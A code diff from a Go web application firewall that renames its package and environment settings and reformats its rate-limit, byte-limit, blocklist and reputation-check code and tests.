// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and // lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is // for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For // a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and // the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for // take the place of the first three for an AS number or a country they
// an AS number or a country they list. // list.
func (rq *request) limitPercentages() (percentage, percentage) { func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country asn, country := rq.line.ASN, rq.line.Country
unknown := percentage{percent: whole} unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait { if country == "" && !rq.skippedLookupWait {
unknown = percentage{ unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
cfg.UnknownCountryLimitPercent,
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
}
} }
fetched := percentage{percent: whole} fetched := percentage{percent: whole}
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed { if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
fetched = percentage{percent, "SWW_WAF_ASN_LIMIT_PERCENT_URL"} fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
} }
blocklisted := percentage{percent: whole} blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" { if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{ blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
cfg.BlocklistLimitPercent,
"SWW_WAF_BLOCKLIST_ACTION",
}
} }
reputationListed := percentage{percent: whole} reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
cfg.DNSBLAbuseIPDBAction == "limit" { reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
reputationListed = percentage{
cfg.DNSBLAbuseIPDBLimitPercent,
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
}
} }
const tagSetting = "SWW_WAF_TAG_LIMIT_PERCENT" const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest( asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
given(cfg.TagLimitPercent, asnTag(asn), tagSetting), countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
fetched,
)
countryRequests := given(
cfg.TagLimitPercent,
countryTag(country),
tagSetting,
)
otherTags := percentage{percent: whole} otherTags := percentage{percent: whole}
for _, tag := range rq.line.Tags { for _, tag := range rq.line.Tags {
if tag != asnTag(asn) && tag != countryTag(country) { if tag != asnTag(asn) && tag != countryTag(country) {
otherTags = lowest( otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
otherTags,
given(cfg.TagLimitPercent, tag, tagSetting),
)
} }
} }
asnBytes, countryBytes := asnRequests, countryRequests asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed { if _, listed := cfg.ASNBytesPercent[asn]; listed {
asnBytes = given( asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
cfg.ASNBytesLimitPercent,
asn,
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
)
} }
if _, listed := cfg.CountryBytesLimitPercent[country]; listed { if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given( countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
cfg.CountryBytesLimitPercent,
country,
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
)
} }
// The limits that lower requests and bytes alike. return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
common := lowest(otherTags, unknown, blocklisted, reputationListed) reputationListed),
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common)
} }
// given returns the percentage percents, the setting named setting, gives // given returns the percentage percents, the setting named setting, gives
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -8,7 +8,6 @@ import (
"net/http/httptest" "net/http/httptest"
"net/netip" "net/netip"
"path/filepath" "path/filepath"
"strconv"
"strings" "strings"
"testing" "testing"
"testing/synctest" "testing/synctest"
@@ -16,17 +15,17 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The biased thresholds. // The biased thresholds.
const ( const (
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT" asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT" countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT" unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
) )
const ( const (
@@ -35,7 +34,7 @@ const (
asnDEHalf = asnDE + ":50" asnDEHalf = asnDE + ":50"
asnDEQuarter = asnDE + ":25" asnDEQuarter = asnDE + ":25"
countryDEHalf = "de:50" countryDEHalf = "de:50"
// The same, as SWW_WAF_TAG_LIMIT_PERCENT names fromDE's tags. // The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
asnTagDEHalf = "asn=64496:50" asnTagDEHalf = "asn=64496:50"
asnTagDEQuarter = "asn=64496:25" asnTagDEQuarter = "asn=64496:25"
countryTagDEHalf = "country=DE:50" countryTagDEHalf = "country=DE:50"
@@ -61,7 +60,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
}{ }{
{tagLimitPercent, asnTagDEHalf, fromDE}, {tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, countryTagDEHalf, fromDE}, {tagLimitPercent, countryTagDEHalf, fromDE},
{unknownCountryLimitPercent, "50", unplaced}, {unknownLimitPercent, "50", unplaced},
} { } {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -87,11 +86,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
for range 3 { for range 3 {
line := s.get( line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
fromKP,
http.StatusOK,
requestlog.ActionForward,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
@@ -109,9 +104,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}{ }{
{tagLimitPercent, asnTagDEHalf, fromDE}, {tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, "Country=de:50", fromDE}, {tagLimitPercent, "Country=de:50", fromDE},
{unknownCountryLimitPercent, "50", unplaced}, {unknownLimitPercent, "50", unplaced},
{asnBytesLimitPercent, "as64496:50", fromDE}, {asnBytesPercent, "as64496:50", fromDE},
{countryBytesLimitPercent, countryDEHalf, fromDE}, {countryBytesPercent, countryDEHalf, fromDE},
} { } {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -123,11 +118,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// The upload's 100 bytes are over half of 199, 99. // The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(tc.from) line := s.uploadFrom(tc.from)
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -137,11 +128,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
line = s.uploadFrom(fromKP) line = s.uploadFrom(fromKP)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf( t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
"log line for %s has limit_hit %q, want none",
fromKP,
line.LimitHit,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -150,9 +137,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
} }
} }
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits( func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -164,28 +149,22 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
}{ }{
{ {
"lowering the byte limits alone", "lowering the byte limits alone",
map[string]string{asnBytesLimitPercent: asnDEHalf}, map[string]string{asnBytesPercent: asnDEHalf},
none, "50 from " + asnBytesLimitPercent, minuteBytes, none, "50 from " + asnBytesPercent, minuteBytes,
}, },
{ {
"lowering the byte limits alone, by country", "lowering the byte limits alone, by country",
map[string]string{countryBytesLimitPercent: countryDEHalf}, map[string]string{countryBytesPercent: countryDEHalf},
none, "50 from " + countryBytesLimitPercent, minuteBytes, none, "50 from " + countryBytesPercent, minuteBytes,
}, },
{ {
"raising the byte limits back", "raising the byte limits back",
map[string]string{ map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
tagLimitPercent: asnTagDEHalf,
asnBytesLimitPercent: asnDE + ":100",
},
"50 from " + tagLimitPercent, none, "", "50 from " + tagLimitPercent, none, "",
}, },
{ {
"raising the byte limits back, by country", "raising the byte limits back, by country",
map[string]string{ map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
tagLimitPercent: countryTagDEHalf,
countryBytesLimitPercent: "de:100",
},
"50 from " + tagLimitPercent, none, "", "50 from " + tagLimitPercent, none, "",
}, },
} { } {
@@ -199,11 +178,7 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
// The upload's 100 bytes are over 99, half of 199, and within 199. // The upload's 100 bytes are over 99, half of 199, and within 199.
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
if line.LimitHit != tc.limitHit { if line.LimitHit != tc.limitHit {
t.Errorf( t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
"log line has limit_hit %q, want %q",
line.LimitHit,
tc.limitHit,
)
} }
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
@@ -219,26 +194,16 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
func TestZeroPercentIsAZeroAllowance(t *testing.T) { func TestZeroPercentIsAZeroAllowance(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups( s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
t,
map[string]string{unknownCountryLimitPercent: "0"},
)
// The first request breaks the limit, and bans the client; the log line // The first request breaks the limit, and bans the client; the log line
// gives the 0. // gives the 0.
line := s.get( line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
unplaced,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.fields["rate_limit_percent"] != float64(0) || if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent { line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf( t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
"log line has rate_limit_percent %v from %v, want 0 from %s", line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
line.fields["rate_limit_percent"], unknownLimitPercent)
line.fields["rate_limit_percent_setting"],
unknownCountryLimitPercent,
)
} }
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -271,11 +236,11 @@ func TestLowestPercentageApplies(t *testing.T) {
}, },
{ {
"that for a client without a country", "that for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"}, map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
noCountry, "25 from " + unknownCountryLimitPercent, noCountry, "25 from " + unknownLimitPercent,
}, },
{ {
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100. // SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country", "the AS number's, for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:25"}, map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + tagLimitPercent, noCountry, "25 from " + tagLimitPercent,
@@ -291,11 +256,7 @@ func TestLowestPercentageApplies(t *testing.T) {
// A quarter of 4 requests a minute: the second breaks the limit. // A quarter of 4 requests a minute: the second breaks the limit.
s.get(tc.from, http.StatusOK, requestlog.ActionForward) s.get(tc.from, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
tc.from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want) tc.want)
@@ -303,13 +264,11 @@ func TestLowestPercentageApplies(t *testing.T) {
} }
} }
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage( func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{ s, _, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50", rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
}) })
// One the lookup database does not hold, and one on a private address, // One the lookup database does not hold, and one on a private address,
@@ -317,11 +276,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
for _, from := range []string{unplaced, "10.0.0.8"} { for _, from := range []string{unplaced, "10.0.0.8"} {
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get( s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
} }
// One in a country has the whole limit. // One in a country has the whole limit.
@@ -336,8 +291,8 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers. // says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{unknownCountryLimitPercent: "0"}) map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client // Once the time the request waits for its answer is up, the client
// counts as without a country, and its zero allowance refuses the // counts as without a country, and its zero allowance refuses the
@@ -345,15 +300,10 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t) line := out.requestLine(t)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownCountryLimitPercent) "0 from "+unknownLimitPercent)
}) })
} }
@@ -372,12 +322,12 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// A tag the lookup does not give needs no answer. // A tag the lookup does not give needs no answer.
{tagLimitPercent, "vpn:50", false}, {tagLimitPercent, "vpn:50", false},
{tagDeny, "vpn", false}, {tagDeny, "vpn", false},
{asnBytesLimitPercent, asnDEHalf, true}, {asnBytesPercent, asnDEHalf, true},
{countryBytesLimitPercent, countryDEHalf, true}, {countryBytesPercent, countryDEHalf, true},
{unknownCountryLimitPercent, "99", true}, {unknownLimitPercent, "99", true},
{asnLimitPercentURL, asnURL, true}, {asnLimitPercentURL, asnURL, true},
// At 100, its default, it lowers no limit. // At 100, its default, it lowers no limit.
{unknownCountryLimitPercent, "100", false}, {unknownLimitPercent, "100", false},
} { } {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) { t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -385,21 +335,13 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers. // says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
asnAndCountryLookupTimeout: strconv.FormatInt( lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
timeout.Milliseconds(), 10),
tagLists: "vpn=" + vpnList,
tc.setting: tc.value,
}) })
began := time.Now() began := time.Now()
serveFromDE( serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
t,
server,
http.MethodPost,
strings.NewReader("ab"),
)
want := time.Duration(0) want := time.Duration(0)
if tc.waits { if tc.waits {
@@ -407,19 +349,10 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
} }
if waited := time.Since(began); waited != want { if waited := time.Since(began); waited != want {
t.Errorf( t.Errorf("the request waited %s for its answer, want %s", waited, want)
"the request waited %s for its answer, want %s",
waited,
want,
)
} }
wantLine( wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
t,
out.requestLine(t),
http.StatusOK,
requestlog.ActionForward,
)
// The bubble's clock stops once this function returns, so the // The bubble's clock stops once this function returns, so the
// request to GeoJS, which a request that did not wait leaves // request to GeoJS, which a request that did not wait leaves
@@ -430,9 +363,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
} }
} }
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert( func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -459,10 +390,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
"a byte limit", "a byte limit",
map[string]string{ map[string]string{
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter, bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
asnBytesLimitPercent: asnDEHalf, asnBytesPercent: asnDEHalf,
}, },
0, http.StatusOK, requestlog.ActionForward, 0, http.StatusOK, requestlog.ActionForward,
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent, "bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
@@ -474,8 +405,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
s.uploadFrom(fromDE) s.uploadFrom(fromDE)
} }
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
uploadBody, tc.status, tc.action) tc.status, tc.action)
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(held) != 1 { if len(held) != 1 {
@@ -484,11 +415,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
notes := held[0].Notes notes := held[0].Notes
if held[0].Reason != tc.reason { if held[0].Reason != tc.reason {
t.Errorf( t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
"the ban's reason is %q, want %q",
held[0].Reason,
tc.reason,
)
} }
wantPercent(t, "the notes' limit_percent", notes.LimitPercent, wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
@@ -496,21 +423,12 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 { if len(waiting) != 1 {
t.Fatalf( t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
"%d alerts wait, want the ban's alone: %+v",
len(waiting),
waiting,
)
} }
alerted, _ := waiting[0].Detail["notes"].(bans.Notes) alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
wantPercent( wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
t, alerted.LimitPercentSetting, tc.want)
"the alert's notes' limit_percent",
alerted.LimitPercent,
alerted.LimitPercentSetting,
tc.want,
)
}) })
} }
} }
@@ -519,7 +437,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
// clock. // clock.
func startWithLookups( func startWithLookups(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *waf.Server, *alerts.Queue) { ) (*sender, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
s, _, server, queue := startWithLookupsAndClock(t, env) s, _, server, queue := startWithLookupsAndClock(t, env)
@@ -534,7 +452,7 @@ func startWithLookups(
// country, and no other address. // country, and no other address.
func startWithLookupsAndClock( func startWithLookupsAndClock(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
@@ -544,10 +462,7 @@ func startWithLookupsAndClock(
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"}, noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
}) })
settings := map[string]string{ settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
lookupSource: fileSource,
lookupDBPath: path,
}
maps.Copy(settings, env) maps.Copy(settings, env)
return startAppWithAlerts(t, readAndAnswer, settings) return startAppWithAlerts(t, readAndAnswer, settings)
@@ -557,15 +472,8 @@ func startWithLookupsAndClock(
func (s *sender) uploadFrom(from string) logLine { func (s *sender) uploadFrom(from string) logLine {
s.t.Helper() s.t.Helper()
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
http.MethodPost, http.StatusOK, requestlog.ActionForward)
from,
"/",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
return line return line
} }
@@ -574,12 +482,12 @@ func (s *sender) uploadFrom(from string) logLine {
// straight to server's handler, without the network, and returns once it is // straight to server's handler, without the network, and returns once it is
// answered. // answered.
func serveFromDE( func serveFromDE(
t *testing.T, server *waf.Server, method string, body io.Reader, t *testing.T, server *discriminator.Server, method string, body io.Reader,
) { ) {
t.Helper() t.Helper()
req := httptest.NewRequestWithContext(t.Context(), method, "/", body) req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
req.Header.Set(waf.ClientHeader, fromDE) req.Header.Set(discriminator.ClientHeader, fromDE)
req.Header.Set(requestIDHeader, "the-id") req.Header.Set(requestIDHeader, "the-id")
server.Handler.ServeHTTP(httptest.NewRecorder(), req) server.Handler.ServeHTTP(httptest.NewRecorder(), req)
@@ -588,12 +496,7 @@ func serveFromDE(
// wantPercent checks a limit percentage that a log line or a ban's notes // wantPercent checks a limit percentage that a log line or a ban's notes
// give, what, and the setting that gave it, against want, as percentText // give, what, and the setting that gave it, against want, as percentText
// gives them. // gives them.
func wantPercent( func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
t *testing.T,
what string,
percent *int64,
setting, want string,
) {
t.Helper() t.Helper()
if got := percentText(percent, setting); got != want { if got := percentText(percent, setting); got != want {
@@ -602,7 +505,7 @@ func wantPercent(
} }
// percentText gives a limit percentage and the setting that gave it as // percentText gives a limit percentage and the setting that gave it as
// text, such as "50 from SWW_WAF_TAG_LIMIT_PERCENT", or none when both are // text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
// left out. // left out.
func percentText(percent *int64, setting string) string { func percentText(percent *int64, setting string) string {
switch { switch {
@@ -1,6 +1,6 @@
package waf package discriminator
// The heuristic blocklists. It reads SWW_WAF_BLOCKLIST_ACTION, and the blocklists // The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
// through the reputation lists. // through the reputation lists.
import ( import (
@@ -11,18 +11,14 @@ import (
) )
// blocklists notes the blocklists that list the client, as noteListed does, // blocklists notes the blocklists that list the client, as noteListed does,
// and refuses the request when SWW_WAF_BLOCKLIST_ACTION is deny. Being limit, it // and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
// lowers the client's limits instead (see limitPercentages), and being log, it // lowers the client's limits instead (see limitPercentages), and being log, it
// does nothing more. Its figure is the blocklists that list the client. // does nothing more. Its figure is the blocklists that list the client.
type blocklists struct{} type blocklists struct{}
func (blocklists) name() string { return "blocklists" } func (blocklists) name() string { return "blocklists" }
func (blocklists) check( func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
listedBy := rq.h.lists.ListedBy(rq.client) listedBy := rq.h.lists.ListedBy(rq.client)
rq.blocklisted = len(listedBy) > 0 rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist") rq.noteListed(listedBy, "listed by a blocklist")
@@ -39,7 +35,7 @@ func (blocklists) check(
// refusedByBlocklists reports whether the heuristic blocklists refuses a // refusedByBlocklists reports whether the heuristic blocklists refuses a
// client, given listedBy, the blocklists that list it: it does when one lists // client, given listedBy, the blocklists that list it: it does when one lists
// it and SWW_WAF_BLOCKLIST_ACTION is deny. // it and SWW_BLOCKLIST_ACTION is deny.
func (rq *request) refusedByBlocklists(listedBy []string) bool { func (rq *request) refusedByBlocklists(listedBy []string) bool {
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
} }
@@ -1,6 +1,6 @@
package waf package discriminator
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits // The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages. // and biased thresholds through the limiter and limitPercentages.
import ( import (
@@ -20,21 +20,13 @@ type byteLimits struct{}
func (byteLimits) name() string { return "byte_limits" } func (byteLimits) name() string { return "byte_limits" }
func (byteLimits) check( func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
if !rq.counted || rq.line.WouldAction != "" { if !rq.counted || rq.line.WouldAction != "" {
return nil return nil
} }
counts, hit, over := rq.h.limiter.CountBytes( counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.h.clientGroup(rq.client), rq.countedBytes(), rq.bytesLimitPercent.percent)
now,
rq.countedBytes(),
rq.bytesLimitPercent.percent,
)
rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes rq.line.Counts.DayBytes = counts.DayBytes
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -19,13 +19,13 @@ import (
// The byte limit settings. // The byte limit settings.
const ( const (
